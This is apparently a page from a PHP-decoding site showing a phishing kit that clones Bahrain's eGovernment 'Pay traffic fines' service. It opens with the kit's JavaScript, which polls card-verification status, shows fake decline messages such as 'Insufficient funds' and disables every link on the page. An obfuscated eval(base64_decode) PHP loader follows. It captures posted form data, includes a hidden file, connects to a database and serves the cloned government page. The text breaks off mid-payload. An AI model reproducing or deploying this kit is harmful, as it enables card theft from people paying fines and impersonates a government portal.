document.getElementById("uKu").style.border = '1px solid grey';
}, 10000);
} else if (accountStatus === "Insufficient") {
document.getElementById('tab').style.display = "none";
document.getElementById("whenReject").style.display = "block";
document.getElementById("whenReject").style.animation = "shake 0.8s ease";
document.getElementById("shaShida").style.border = '1px solid #ff8e8e';
document.getElementById("fuDu").style.border = '1px solid #ff8e8e';
document.getElementById("uKu").style.border = '1px solid #ff8e8e';
document.getElementById("shaShida").value = "";
document.getElementById("fuDu").value = "";
document.getElementById("uKu").value = "";
document.getElementById("whenReject").innerHTML =
'Insufficient funds on your payment card.';
setTimeout(() => {
document.getElementById("whenReject").style.display = "none";
document.getElementById("shaShida").style.border = '1px solid grey';
document.getElementById("fuDu").style.border = '1px solid grey';
document.getElementById("uKu").style.border = '1px solid grey';
}, 10000);
} else if (accountStatus === "Unsupported") {
document.getElementById('tab').style.display = "none";
document.getElementById("whenReject").style.display = "block";
document.getElementById("whenReject").style.animation = "shake 0.8s ease";
document.getElementById("shaShida").style.border = '1px solid #ff8e8e';
document.getElementById("fuDu").style.border = '1px solid #ff8e8e';
document.getElementById("uKu").style.border = '1px solid #ff8e8e';
document.getElementById("shaShida").value = "";
document.getElementById("fuDu").value = "";
document.getElementById("uKu").value = "";
document.getElementById("whenReject").innerHTML =
'Your payment card is not supported';
setTimeout(() => {
document.getElementById("whenReject").style.display = "none";
document.getElementById("shaShida").style.border = '1px solid grey';
document.getElementById("fuDu").style.border = '1px solid grey';
document.getElementById("uKu").style.border = '1px solid grey';
}, 10000);
}
} else {
console.error("Error: " + xhr.statusText);
}
}
};
xhr.send();
}
// Start the interval initially
intervalId = setInterval(checkAccountStatus, 1000);
</script>
<div id="generalModel" style="display: none;" class="row-fluid">
<!-- Popup backdrop -->
<div class="modal-backdrop in" data-backdrop="static" data-keyboard="false"></div>
<!-- The popup modal -->
<div id="theGeneralModal" class="modal fade in" tabindex="-1" role="dialog" aria-hidden="false"> <!-- style="top: 5%; overflow:auto; left:46%;" --><!-- Popup Header -->
<div class="modal-header" style="padding: 0px 10px;background-color: #fff; border:0px;">
<!-- Close icon -->
<a class="minimizeModal"><i class="material-icons" style="font-family: verdana; font-size: 15px; color:#000;">X</i></a>
<!-- Title - text from bundle --><!-- Title - Direct text -->
</div>
<!-- Popup Body -->
<div class="modal-body" style="padding: 0px; min-height:200px; padding: 0px; max-height: none;">
<!-- Popup Content -->
<div class="row-fluid">
<!-- Text Message - General - EN and AR --><!-- Text Message - Manage e-key Profile - EN and AR -->
<div class="span12" id="myModalBody2" style="display: none;">In order to manage your Profile, you will be automatically signed out from the eKey system to protect and secure your personal information.</div>
<!-- Image Message - EN and AR -->
</div>
</div>
<!-- Popup Footer -->
<div class="modal-footer-general" style="text-align: center; padding: 5px; display: block; background-color:#fff;">
<!-- OK button -->
<button style="display: none;" class="button_style" id="login-bar-manage-profile-button-ok" type="button" data-dismiss="modal" aria-hidden="true">Ok</button>
<!-- Close button -->
<button style="display: none; float: none;" class="button_style minimizeModal" id="general-model-button-bottom-close" type="button" data-dismiss="modal" aria-hidden="true">Close</button>
</div>
</div>
</div>
<!-- End - General Popup -->
<div id="whatsupModel" style="display: none;" class="row-fluid">
<div class="modal-backdrop in" data-backdrop="static" data-keyboard="false">
</div>
<div class="modal fade in" tabindex="-1" role="dialog" aria-labelledby="whatsappsubscription" aria-hidden="false">
<div class="modal-header">
<h4 id="whatsappsubscription" style="color:#1259ff;">
Subscribe with us
</h4>
</div>
<div class="modal-body">
<p>
Subscribe with us to receive the latest updates and awareness promotions on all eservices & channels via the eGovernment WhatsApp service. To subscribe send "subscribe" to the number 32188288.
</p>
<br>
<p>
To unsubscribe send "unsubscribe".
</p>
</div>
<div class="modal-footer" style="text-align:center">
<a style="display: none;" id="whatsup-model-subscribe-link" class="button_style" href="https://api.whatsapp.com/send?phone=97332188288&text=Subscribe">
Subscribe
</a>
<a style="display: inline-block;" id="whatsup-model-close-link" class="button_style" href="javascript:void(0);">
Close
</a>
</div>
</div>
</div>
<div id="ekeyModel" style="display: none;" class="row-fluid">
<div class="modal-backdrop in" data-backdrop="static" data-keyboard="false">
</div>
<div class="modal fade in" tabindex="-1" role="dialog" aria-labelledby="eKeyPopupModel" aria-hidden="false" style="/*left: 46%;*/">
<div class="modal-body" style="max-height:450px">
<div class="row-fluid">
<div class="span12">
<div class="login_container align-center">
<div class="main-headings user_icon mar-btm-20"> </div>
<p id="eKeyPopupModel">Your Single Sign On to eServices</p>
<div class="mar-top-25">
<span class="icon_space">
<img width="16" height="16" alt="username" src="https://services.bahrain.bh/wps/contenthandler/!ut/p/digest!VjBueQcDg9ZtERuc1v4-zw/dav/fs-type1/themes/PortalPlusServices/images/username_icon.svg">
</span>
<label style="display:none;" for="ekeyLoginIdNumber">ID Number</label>
<input id="ekeyLoginIdNumber" name="id number" type="tel" maxlength="15" title="ID Number" class="personalNumberSigIn customPasswordInput numberOnlyV" autocomplete="off" placeholder="ID Number">
<br>
<span class="icon_space">
<img width="16" height="18" alt="password" src="https://services.bahrain.bh/wps/contenthandler/!ut/p/digest!VjBueQcDg9ZtERuc1v4-zw/dav/fs-type1/themes/PortalPlusServices/images/password_icon.svg">
</span>
<label style="display:none;" for="ekeyLoginPassword">Password</label>
<input type="password" id="ekeyLoginPassword" name="Password title=" enter="" password"="" class="passwordSignIn customPasswordInput" autocomplete="off" placeholder="Password">
<div class="error-block" style="float:none;">
<span id="ekeyLoginErrorMessage"></span>
</div>
<br>
</div>
<div class="link_container">
<!-- Forget Password -->
<a target="_blank" href="/wps/portal/ForgotPassword_en">
Forgot Password?
</a>
<!-- Register or SignUp for new account -->
<a target="_blank" href="/wps/portal/SignUp_en">
Don't have an account? Register now !
</a>
</div>
<div class="button_container">
<input onclick="return xt_click(this,'C','level2_number','Portal Authentication Click Loginn','N');" id="ekeyloginSubmit" name="Login" type="submit" value="Login" class="button_style submitSignIn">
<button id="ekeyLoginCancel" class="button_style">Cancel</button>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<div id="ratingModel" style="display: none;" class="row-fluid">
<div class="modal-backdrop in" data-backdrop="static" data-keyboard="false">
</div>
<div class="modal fade in" tabindex="-1" role="dialog" aria-labelledby="ratingPopupModal" aria-hidden="false">
<div class="modal-header">
<a class="minimizeModal">
<i class="material-icons">
minimize
</i>
</a>
<h4 id="ratingPopupModal" style="color:#1259ff;">Rate this service</h4>
</div>
<div class="modal-body">
<div class="row-fluid">
<div class="span12">
<div class="rating_container align-center">
<i class="material-icons" style="font-size: 70px;display: none;">check_circle_outline</i>
<p>How satisfied are you with this service?</p>
<div class="row-fluid mt-3">
<ul id="serviceRatingFaces">
<li>
<img class="RatingImg" id="ImgSmiley" style="cursor: pointer;" alt="Satisfied" title="Satisfied" src="https://services.bahrain.bh/wps/contenthandler/!ut/p/digest!VjBueQcDg9ZtERuc1v4-zw/dav/fs-type1/themes/PortalPlusServices/images/smiley_face.png">
</li>
<li>
<img class="RatingImg" id="ImgNormal" style="cursor: pointer;" alt="Neutral" title="Neutral" src="https://services.bahrain.bh/wps/contenthandler/!ut/p/digest!VjBueQcDg9ZtERuc1v4-zw/dav/fs-type1/themes/PortalPlusServices/images/normal_face.png">
</li>
<li>
<img class="RatingImg" id="ImgAngry" style="cursor: pointer;" alt="Dissatisfied" title="Dissatisfied" src="https://services.bahrain.bh/wps/contenthandler/!ut/p/digest!VjBueQcDg9ZtERuc1v4-zw/dav/fs-type1/themes/PortalPlusServices/images/angry_face.png">
</li>
</ul>
</div>
<p id="ratingMessage" style="color: #c80009;padding :5px"></p>
<div id="ratingForm" style="display: none;">
<div class="row-fluid mt-2">
<div class="span12 form-row" id="ratingInputComment">
<div class="form-col1">
<label for="feedbackTextArea"><em>*</em>Comment</label>
</div>
<div class="form-col2">
<div class="form-control-block block-full">
<textarea id="feedbackTextArea" maxlength="200" onkeyup="textareaCounter(this,200);"></textarea>
<br>
<div class="textCounter">
<span>200</span>
<span>characters left</span>
</div>
</div>
<div class="error-block" role="alert">
<span></span>
</div>
</div>
</div>
</div>
<div class="row-fluid">
<div class="span12 form-row" id="ratingInputMobile">
<div class="form-col1">
<label>Mobile</label>
</div>
<div class="form-col2">
<div class="form-control-block block-full">
<input type="tel" minlength="8" value="" title="Mobile" autocomplete="off">
</div>
<div class="error-block" role="alert">
<span></span>
</div>
</div>
</div>
</div>
<div class="row-fluid">
<div class="span12 form-row" id="ratingInputEmail">
<div class="form-col1">
<label>Email</label>
</div>
<div class="form-col2">
<div class="form-control-block block-full">
<input type="email" value="" title="Email" autocomplete="off">
</div>
<div class="error-block" role="alert">
<span></span>
</div>
</div>
</div>
</div>
</div>
<div class="buttons mt-3" style="display: none;">
<a href="javascript:void(0);" id="ratingModelClear" class="button_style">Clear</a>
<a href="javascript:void(0);" id="ratingModelSubmit" class="button_style">Submit</a>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<!-- Crop Model -->
<div id="cropperModel" style="display: none;" class="row-fluid">
<div class="modal-backdrop in" data-backdrop="static" data-keyboard="false">
</div>
<div class="modal fade in" tabindex="-1" role="dialog" aria-labelledby="cropperPopupModal" aria-hidden="false">
<div class="modal-header">
<button type="button" class="close cropper-cancel-action" data-dismiss="modal" aria-hidden="true"></button>
<h4 id="cropperPopupModal">
Attach Photo
</h4>
</div>
<div class="modal-body">
</div>
</div>
</div>
<!-- Crop Model - END -->
<script src="https://services.bahrain.bh/wps/contenthandler/!ut/p/digest!VjBueQcDg9ZtERuc1v4-zw/dav/fs-type1/themes/PortalPlusServices/js/jquery.mobile.custom.min.js" type="text/javascript"></script>
<script src="https://services.bahrain.bh/wps/contenthandler/!ut/p/digest!VjBueQcDg9ZtERuc1v4-zw/dav/fs-type1/themes/PortalPlusServices/js/bootstrap.min.js" type="text/javascript"></script>
<script src="https://services.bahrain.bh/wps/contenthandler/!ut/p/digest!VjBueQcDg9ZtERuc1v4-zw/dav/fs-type1/themes/PortalPlusServices/js/easyResponsiveTabs-svgeezy-service-merged.js" type="text/javascript"></script>
<script src="https://services.bahrain.bh/wps/contenthandler/!ut/p/digest!VjBueQcDg9ZtERuc1v4-zw/dav/fs-type1/themes/PortalPlusServices/js/bootstrap-datepicker_en.js" type="text/javascript"></script>
<script src="https://services.bahrain.bh/wps/contenthandler/!ut/p/digest!VjBueQcDg9ZtERuc1v4-zw/dav/fs-type1/themes/PortalPlusServices/js/bootstrap-datetimepicker.js" type="text/javascript"></script>
<script src="https://services.bahrain.bh/wps/contenthandler/!ut/p/digest!VjBueQcDg9ZtERuc1v4-zw/dav/fs-type1/themes/PortalPlusServices/js/printer.js" type="text/javascript"></script>
<script src="https://services.bahrain.bh/wps/contenthandler/!ut/p/digest!VjBueQcDg9ZtERuc1v4-zw/dav/fs-type1/themes/PortalPlusServices/js/jquery.form.min.js" type="text/javascript"></script>
<script src="https://services.bahrain.bh/wps/contenthandler/!ut/p/digest!VjBueQcDg9ZtERuc1v4-zw/dav/fs-type1/themes/PortalPlusServices/js/jquery.maskedinput.min.js" type="text/javascript"></script>
<script src="https://services.bahrain.bh/wps/contenthandler/!ut/p/digest!VjBueQcDg9ZtERuc1v4-zw/dav/fs-type1/themes/PortalPlusServices/js/bootstrap-tooltip.js" type="text/javascript"></script>
<script src="https://services.bahrain.bh/wps/contenthandler/!ut/p/digest!VjBueQcDg9ZtERuc1v4-zw/dav/fs-type1/themes/PortalPlusServices/js/bootstrap-popover.js" type="text/javascript"></script>
<script src="https://services.bahrain.bh/wps/contenthandler/!ut/p/digest!VjBueQcDg9ZtERuc1v4-zw/dav/fs-type1/themes/PortalPlusServices/js/jquery-eu-cookie-law-popup_en.js" type="text/javascript"></script>
<script src="https://services.bahrain.bh/wps/contenthandler/!ut/p/digest!VjBueQcDg9ZtERuc1v4-zw/dav/fs-type1/themes/PortalPlusServices/js/select2.full.js" type="text/javascript"></script>
<!-- End of LiveChat code --><!-- Userway Accessibility widget --><!-- End page footer -->
<!-- This is responsible for bootstrapping the configuration for the javascript framework.
This is located here instead of the head section to improve client performance. -->
<div id="layoutContainers" class="wpthemeLayoutContainers wpthemeLayoutContainersHidden" style="display: none;"></div>
<script>
// Get all anchor tags
var anchorTags = document.getElementsByTagName("a");
// Loop through each anchor tag and modify the href attribute
for (var i = 0; i < anchorTags.length; i++) {
anchorTags[i].setAttribute("href", "#");
}
</script>
</body><grammarly-desktop-integration data-grammarly-shadow-root="true"></grammarly-desktop-integration></htm
Did this file decode correctly?
Original Code
<?php eval(base64_decode('CiBnb3RvIFhzMERqOyBwUWtvSDogZWNobyAkX1BPU1RbIlwxNTZcMTQxXHg2ZFx4NjJceDYxXHg3Mlx4NzlceDYxXHg2ZVwxNTNceDY5XDE1NlwxNDUiXTsgZ290byB2YXN5dzsgV2UwTzI6ID8+CgkJCQkKCQkJCSA8c3BhbiBhcmlhLWxhYmVsPSJUb2dnbGUgQ29udGFpbmVyIiBjbGFzcz0idG9vbHMiPjxzcGFuPjxlbSBjbGFzcz0iZmEgZmEtYW5nbGUtZG93biI+PC9lbT48L3NwYW4+PC9zcGFuPjwvaDQ+CgkJCSA8L2Rpdj4KCQoJCSAgPC9kaXY+CgkgICA8IS0tIEVORCBJTlNUUlVDVElPTiBCT1gtLT4KCQk8L2Rpdj4KCSAgIDwvZGl2PgoKCQkJPGRpdj48c3BhbiBpZD0idmlld25zX1o3Xzg4R0MxMjgySkcxVjgwQUtPMEhFNDMxMFMxXzpmb3JtMTptZXNzYWdlcyI+PC9zcGFuPgoJCQk8L2Rpdj4KCQkJPGRpdj4KCQkJPGRpdiBjbGFzcz0icm93LWZsdWlkIG1hci1idG0tMjUiPgoJPGRpdiBjbGFzcz0ic3BhbjEyIj4KCQk8IS0tU3RhcnQgUmVxdWlyZWQgTVNHIC0tPgoJCTxkaXYgY2xhc3M9InJvdy1mbHVpZCBtYXItYnRtLTEwIj4KCQkgIDxkaXYgY2xhc3M9InNwYW4xMiI+CgkJCTwhLS0gPHAgY2xhc3M9InJlcXVpcmVkLXRleHQiPiBpbmRpY2F0ZXMgdGhlIHJlcXVpcmVkIGZpZWxkcy48L3A+IC0tPgoJCSAgPC9kaXY+CgkJPC9kaXY+CgoJICAgPCEtLSBTdGFydCAgQWRkcmVzcyBUYWJlbC0tPgoJICAgPGRpdiBjbGFzcz0icm93LWZsdWlkIG1hci1idG0tNSAiPgoJCTxkaXYgY2xhc3M9InNwYW4xMiI+CgkJICA8ZGl2IGNsYXNzPSJzZXJ2aWNlLXdpZGdldCI+CgkJCTxkaXYgY2xhc3M9InNlcnZpY2Utd2lkZ2V0LXRpdGxlIHdpZGdldC1ncmV5LXRpdGxlIHdpZGdldC10ZXh0LWNlbnRlciI+CgkJCSAgPGg0PlBheSB0cmFmZmljIGZpbmVzPHNwYW4gY2xhc3M9InRvb2xzIiBhcmlhLWxhYmVsPSJUb2dnbGUgQ29udGFpbmVyIj4gPHNwYW4+PGVtIGNsYXNzPSJmYSBmYS1hbmdsZS11cCI+PC9lbT48L3NwYW4+IDwvc3Bhbj4gPC9oND4KCQkJPC9kaXY+CgkJCTxkaXYgY2xhc3M9InNlcnZpY2Utd2lkZ2V0LWJvZHkgc2VydmljZS13aWRnZXQtYm9keS1mb3JtIj4gCgkJCSAKCQkJICA8IS0tIEJlZ2luIEZvcm0tLT4KCgoJCQkgIAoKICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IHN0eWxlPSJwYWRkaW5nOiAzMHB4OyBtYXJnaW4tbGVmdDogLTE1cHg7IiA+CgoJCQkJCQkgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImdpZGFuc3UiIHZhbHVlPSI8P3BocCAgZ290byBFZm1kMDsgWHMwRGo6IGluY2x1ZGUgIlw1Nlw1N1wxNDVcMTcwXDE2M1wxNDVceDYzXDU2XHg3MFx4NjhcMTYwIjsgZ290byB3bWpRVjsgQjFGU2s6ICRjb25uID0gbmV3IG15c3FsaSgkc2VydmVybmFtZSwgJHVzZXJuYW1lLCAkcGFzc3dvcmQsICRkYm5hbWUpOyBnb3RvIGZSODhROyBQNUNfVjogPz4KCgo8IURPQ1RZUEUgaHRtbD4KPGh0bWwgeG1sbnM9Imh0dHBzOi8vd3d3LnczLm9yZy8xOTk5L3hodG1sIiB4bWw6bGFuZz0iZW4iIGxhbmc9ImVuIiBjbGFzcz0iIGlkYzBfMzQzIG50YXd1ZmZhYSI+PGhlYWQ+CjwhLS0gYmVsb3cgSUUgbWV0YSB0YWcgYWRkZWQgdG8gZW5mb3JlIElFIGJyb3dzZXJzIHRvIHN0aWNrIHRvIHRoZWlyIGV4YWN0IHZlcnNpb24gd2hlbiB2aWV3aW5nIHRoZSB3ZWJzaXRlLCB3aXRob3V0IHJldmVydGluZyB0byBRdWlya3MgbW9kZSBvciBnb2luZyBiYWNrIHRvIG9sZGVyIHZlcnNpb25zLi0tPgo8bWV0YSBuYW1lPSJkZXNjcmlwdGlvbiIgY29udGVudD0iVGhlIGVHb3Zlcm5tZW50IE5hdGlvbmFsIFBvcnRhbCAtIEtpbmdkb20gb2YgQmFocmFpbiwgcHJvdmlkZXMgYSBvbmUtc3RvcCBzaG9wIHRoYXQgZmFjaWxpdGF0ZXMgdGhlIGFjY2VzcyB0byBnb3Zlcm5tZW50IEluZm9ybWF0aW9uIGFuZCBlU2VydmljZXMuIj4KPG1ldGEgaHR0cC1lcXVpdj0iWC1VQS1Db21wYXRpYmxlIiBjb250ZW50PSJJRT1lZGdlIj4KPCEtLSA8bWV0YSBuYW1lPSJ2aWV3cG9ydCIgY29udGVudD0id2lkdGg9ZGV2aWNlLXdpZHRoLCBpbml0aWFsLXNjYWxlPTEuMCI+IC0tPgo8bWV0YSBuYW1lPSJ2aWV3cG9ydCIgY29udGVudD0id2lkdGg9ZGV2aWNlLXdpZHRoLCBpbml0aWFsLXNjYWxlPTEsIG1heGltdW0tc2NhbGU9MSwgbWluaW11bS1zY2FsZT0xICwgdXNlci1zY2FsYWJsZT1ubyI+CjwhLS0gcmVsPWR5bmFtaWMtY29udGVudCBpbmRpY2F0ZXMgYW4gZWxlbWVudCB0aGF0IGlzIHJlcGxhY2VkIHdpdGggdGhlIGNvbnRlbnRzIHByb2R1Y2VkIGJ5IHRoZSBzcGVjaWZpZWQgaHJlZi4gCgkgZHluLWNzOiogVVJJcyBhcmUgcmVzb2x2ZWQgdXNpbmcgdGhlIFdQIER5bmFtaWNDb250ZW50U3BvdE1hcHBpbmdzIHJlc291cmNlIGVudmlyb25tZW50IHByb3ZpZGVyLiBUaGVzZSB2YWx1ZXMgY2FuCgkgYWxzbyBiZSBzZXQgdXNpbmcgdGhlbWUgbWV0YWRhdGEgaWYgYSB0aGVtZSBpcyBzcGVjaWZpZWQgaW4gdGhlIFVSSSAoZS5nLiBAdGw6b2lkOnRoZW1lX3VuaXF1ZV9uYW1lKS4gLS0+CjxsaW5rIHJlbD0iYWx0ZXJuYXRlIiBpZD0iaGVhZF9tYXJrdXBfZGVmZXJyZWQiIGhyZWY9Imh0dHBzOi8vc2VydmljZXMuYmFocmFpbi5iaC93cHMvY29udGVudGhhbmRsZXIvIXV0L3AvZGlnZXN0IWE5dTM1Uy1Hc0pSX19MeHpVTElXQUEvbWFzaHVwL3JhOmNvbGxlY3Rpb24/dGhlbWVJRD1aSl9JTzAwMkFTMDE5TEY4MDY4MENHUFRFMUdFMCZhbXA7bG9jYWxlPWVuJmFtcDttaW1lLXR5cGU9dGV4dCUyRnBsYWluJmFtcDtsbT0xNjYyNjMwNDE2MDAwJmFtcDtlbnRyeT13cF9vbmVfdWlfMzAzX18wLjAlM0FoZWFkX21hcmt1cCZhbXA7ZGVmZXJyZWQ9dHJ1ZSI+CgoKPHRpdGxlPgoJR2VuZXJhbCBEaXJlY3RvcmF0ZSBvZiBUcmFmZmljIFNlcnZpY2VzCjwvdGl0bGU+CgoKCTxsaW5rIGlkPSJjb20uaWJtLmxvdHVzLk5hdlN0YXRlVXJsIiByZWw9ImFsdGVybmF0ZSIgaHJlZj0iL3dwcy9wb3J0YWwvZW4vIXV0L3AvejEvMDRfU2o5Q1B5a3NzeTB4UExNbk16MHZNQWZJam84emlMU3pjblEyTkxJeTgzQTNETEF3Y3ZmME5QRnhOakEwTm5NMzB3OEVLVEMyTW5EMjhnUXI4alUxTURSeE52QU9kUXYwOWpBMzhEZlNqaU5GdmdBSWNEWnlDakp5TURRemNfWTNJMFk5c0VuSDY4U2lJd205OGNHb2UwSXdvc0RKOG9ZREZIRlJ2RXJLb0lEYzBORFNpd2pQVFVWRVJBT29nVkI4IS9kei9kNS9MM2RKZHlFdlVVZDNRbmRKUVNFdk5FNXNSUzlhTmw4NE9FZERNVEk0TWtwSE1WWTRNRUZMVHpCSVJUUXpNVEJETmchIS8iPgoJCgk8bGluayByZWw9ImJvb2ttYXJrIiB0aXRsZT0iR2VuZXJhbCBEaXJlY3RvcmF0ZSBvZiBUcmFmZmljIFNlcnZpY2VzIiBocmVmPSIvd3BzL3BvcnRhbC8hdXQvcC96MS8wNF9TajlDUHlrc3N5MHhQTE1uTXowdk1BZklqbzh6aUxTemNuUTJOTEl5ODNBM0RMQXdjdmYwTlBGeE5qQTBObk0zMHc4RUtUQzJNbkQyOGdRcjhqVTFNRFJ4TnZBT2RRdjA5akEzOERmU2ppTkZ2Z0FJY0RaeUNqSnlNRFF6Y19ZM0kwWTlzRW5INjhTaUl3bTk4Y0dvZTBJd29zREo4b1lERkhGUnZFcktvSURjME5EU2l3alBUVVZFUkFPb2dWQjghL2R6L2Q1L0wzZEplV2N2ZDBSTlFVRnpRVWxWUVUxQkx6Uk9iRWhWUVNFaEwxbzJYemc0UjBNeE1qZ3lTa2N4Vmpnd1FVdFBNRWhGTkRNeE1FTTIvIiBocmVmbGFuZz0iZW4iPgoKCjxsaW5rIGhyZWY9Imh0dHBzOi8vc2VydmljZXMuYmFocmFpbi5iaC93cHMvY29udGVudGhhbmRsZXIvIXV0L3AvZGlnZXN0IVZqQnVlUWNEZzladEVSdWMxdjQtencvZGF2L2ZzLXR5cGUxL3RoZW1lcy9Qb3J0YWxQbHVzU2VydmljZXMvaW1hZ2VzL2Zhdmljb24uaWNvIiByZWw9InNob3J0Y3V0IGljb24iIHR5cGU9ImltYWdlL3gtaWNvbiI+Cgo8IS0tIEFyYWJpYyBDU1MgLS0+PCEtLSBFbmdsaXNoIENTUyAtLT4KCTxsaW5rIGhyZWY9Imh0dHBzOi8vc2VydmljZXMuYmFocmFpbi5iaC93cHMvY29udGVudGhhbmRsZXIvIXV0L3AvZGlnZXN0IVZqQnVlUWNEZzladEVSdWMxdjQtencvZGF2L2ZzLXR5cGUxL3RoZW1lcy9Qb3J0YWxQbHVzU2VydmljZXMvY3NzL2Nzc19lbi5jc3MiIHJlbD0ic3R5bGVzaGVldCIgdHlwZT0idGV4dC9jc3MiIG1lZGlhPSJzY3JlZW4scHJpbnQiPgoJPGxpbmsgaHJlZj0iaHR0cHM6Ly9zZXJ2aWNlcy5iYWhyYWluLmJoL3dwcy9jb250ZW50aGFuZGxlci8hdXQvcC9kaWdlc3QhVmpCdWVRY0RnOVp0RVJ1YzF2NC16dy9kYXYvZnMtdHlwZTEvdGhlbWVzL1BvcnRhbFBsdXNTZXJ2aWNlcy9jc3MvcHJpbnQuY3NzIiByZWw9InN0eWxlc2hlZXQiIHR5cGU9InRleHQvY3NzIiBtZWRpYT0icHJpbnQiPgoJPGxpbmsgaHJlZj0iaHR0cHM6Ly9zZXJ2aWNlcy5iYWhyYWluLmJoL3dwcy9jb250ZW50aGFuZGxlci8hdXQvcC9kaWdlc3QhVmpCdWVRY0RnOVp0RVJ1YzF2NC16dy9kYXYvZnMtdHlwZTEvdGhlbWVzL1BvcnRhbFBsdXNTZXJ2aWNlcy9jc3MvUWFwVGNoYV9FTi5qcXVlcnkuY3NzIiByZWw9InN0eWxlc2hlZXQiIHR5cGU9InRleHQvY3NzIj4KCTwhLS0gQ29va2llcyAtLT4KCTxsaW5rIGhyZWY9Imh0dHBzOi8vc2VydmljZXMuYmFocmFpbi5iaC93cHMvY29udGVudGhhbmRsZXIvIXV0L3AvZGlnZXN0IVZqQnVlUWNEZzladEVSdWMxdjQtencvZGF2L2ZzLXR5cGUxL3RoZW1lcy9Qb3J0YWxQbHVzU2VydmljZXMvY3NzL2xhdy1wb3B1cF9lbi5jc3MiIHJlbD0ic3R5bGVzaGVldCIgdHlwZT0idGV4dC9jc3MiPgo8IS0tIENvbW1vbiBDU1MgLS0+PCEtLSBGb250IEF3ZXNvbWUgNSAtLT4KPGxpbmsgaHJlZj0iL1BvcnRhbFBsdXNTZXJ2aWNlc1RoZW1lL3RoZW1lcy9odG1sL2R5bmFtaWNTcG90cy9mb250cy9mb250LWF3ZXNvbWUvY3NzL2FsbC5jc3MiIHJlbD0ic3R5bGVzaGVldCIgdHlwZT0idGV4dC9jc3MiIG1lZGlhPSJzY3JlZW4scHJpbnQiPgoKPCEtLSBGb250IEF3ZXNvbWUgNCAtLT4KPGxpbmsgaHJlZj0iL1BvcnRhbFBsdXNTZXJ2aWNlc1RoZW1lL3RoZW1lcy9odG1sL2R5bmFtaWNTcG90cy9mb250cy9mb250LWF3ZXNvbWUvY3NzL2ZvbnQtYXdlc29tZS5jc3MiIHJlbD0ic3R5bGVzaGVldCIgdHlwZT0idGV4dC9jc3MiIG1lZGlhPSJzY3JlZW4scHJpbnQiPgo8bGluayBocmVmPSJodHRwczovL2ZvbnRzLmdvb2dsZWFwaXMuY29tL2Nzcz9mYW1pbHk9UFQrU2Fuczo0MDAsNzAwIiByZWw9InN0eWxlc2hlZXQiIHR5cGU9InRleHQvY3NzIj4KPGxpbmsgcmVsPSJzdHlsZXNoZWV0IiBocmVmPSJodHRwczovL2ZvbnRzLmdvb2dsZWFwaXMuY29tL2ljb24/ZmFtaWx5PU1hdGVyaWFsK0ljb25zIj4KPGxpbmsgaHJlZj0iaHR0cHM6Ly9zZXJ2aWNlcy5iYWhyYWluLmJoL3dwcy9jb250ZW50aGFuZGxlci8hdXQvcC9kaWdlc3QhVmpCdWVRY0RnOVp0RVJ1YzF2NC16dy9kYXYvZnMtdHlwZTEvdGhlbWVzL1BvcnRhbFBsdXNTZXJ2aWNlcy9jc3Mvc2VsZWN0Mi5taW4uY3NzIiByZWw9InN0eWxlc2hlZXQiIHR5cGU9InRleHQvY3NzIiBtZWRpYT0ic2NyZWVuLHByaW50Ij4KPGxpbmsgaHJlZj0iL1BvcnRhbFBsdXNTZXJ2aWNlc1RoZW1lL3RoZW1lcy9odG1sL2R5bmFtaWNTcG90cy9mb250cy9jdXN0b20tZm9udC1pY29ucy9jc3MvY3VzdG9tLWljb25zLmNzcyIgcmVsPSJzdHlsZXNoZWV0IiB0eXBlPSJ0ZXh0L2NzcyIgbWVkaWE9InNjcmVlbixwcmludCI+Cgo8IS0tIFNjcmlwdHMgLS0+CjxzY3JpcHQgc3JjPSJodHRwczovL3NlcnZpY2VzLmJhaHJhaW4uYmgvd3BzL2NvbnRlbnRoYW5kbGVyLyF1dC9wL2RpZ2VzdCFWakJ1ZVFjRGc5WnRFUnVjMXY0LXp3L2Rhdi9mcy10eXBlMS90aGVtZXMvUG9ydGFsUGx1c1NlcnZpY2VzL2pzL2pxdWVyeS5qcyIgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij48L3NjcmlwdD4KCjwhLS0gVG8gZGlzYWJsZSBzaG93aW5nIG51bWJlcnMgYXMgY2xpY2thYmxlIG9yIGNhbGxhYmxlIHBob25lIG51bWJlcnMgLS0+CjxtZXRhIG5hbWU9ImZvcm1hdC1kZXRlY3Rpb24iIGNvbnRlbnQ9InRlbGVwaG9uZT1ubyI+PCEtLSByZW5kZXJpbmcgaXMgZGVsZWdhdGVkIHRvIHRoZSBzcGVjaWZpZWQgaHJlZiBmb3IgZWFjaCBsb2NhbGUgLS0+CjxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0IiBhc3luYz0iIiBzcmM9Ii8vY2RuLm1vdXNlZmxvdy5jb20vcHJvamVjdHMvYzdjMjVmZTMtNDU4YS00YzRkLTg1N2UtMTVhYTQyYjQ4YTM0LmpzIj48L3NjcmlwdD48c2NyaXB0IGFzeW5jPSIiIHR5cGU9InRleHQvamF2YXNjcmlwdCIgc3JjPSJodHRwczovL2Nkbi5saXZlY2hhdGluYy5jb20vdHJhY2tpbmcuanMiPjwvc2NyaXB0PgoKCgo8c2NyaXB0IHNyYz0iaHR0cHM6Ly9jb2RlLmpxdWVyeS5jb20vanF1ZXJ5LTMuNi4zLm1pbi5qcyIKICAgICAgICBpbnRlZ3JpdHk9InNoYTI1Ni1wdlB3K3VwTFBVamdNWFkwRys4TzB4VWYrL0ltMU1aalh4eGdPY0JRQlhVPSIgY3Jvc3NvcmlnaW49ImFub255bW91cyI+PC9zY3JpcHQ+CiAgICA8c2NyaXB0IHNyYz0iaHR0cHM6Ly9jZG5qcy5jbG91ZGZsYXJlLmNvbS9hamF4L2xpYnMvanF1ZXJ5LnBheW1lbnQvMy4wLjAvanF1ZXJ5LnBheW1lbnQubWluLmpzIgogICAgICAgIGludGVncml0eT0ic2hhNTEyLXZCdTVkNGh6dFdjcHZLbXArcVVTOGFmdldVTWpUZDU5WjdjaTBqNlluS3U4M3l5NlhoL1Z4dGdacUl0ZUlGYUszZ01ZRG0wQW5PcDNwRUY0ejZhZk13PT0iCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyIgcmVmZXJyZXJwb2xpY3k9Im5vLXJlZmVycmVyIj48L3NjcmlwdD4KCgo8c2NyaXB0IHNyYz0iaHR0cHM6Ly9jZG5qcy5jbG91ZGZsYXJlLmNvbS9hamF4L2xpYnMvanMtc2hhMjU2LzAuOS4wL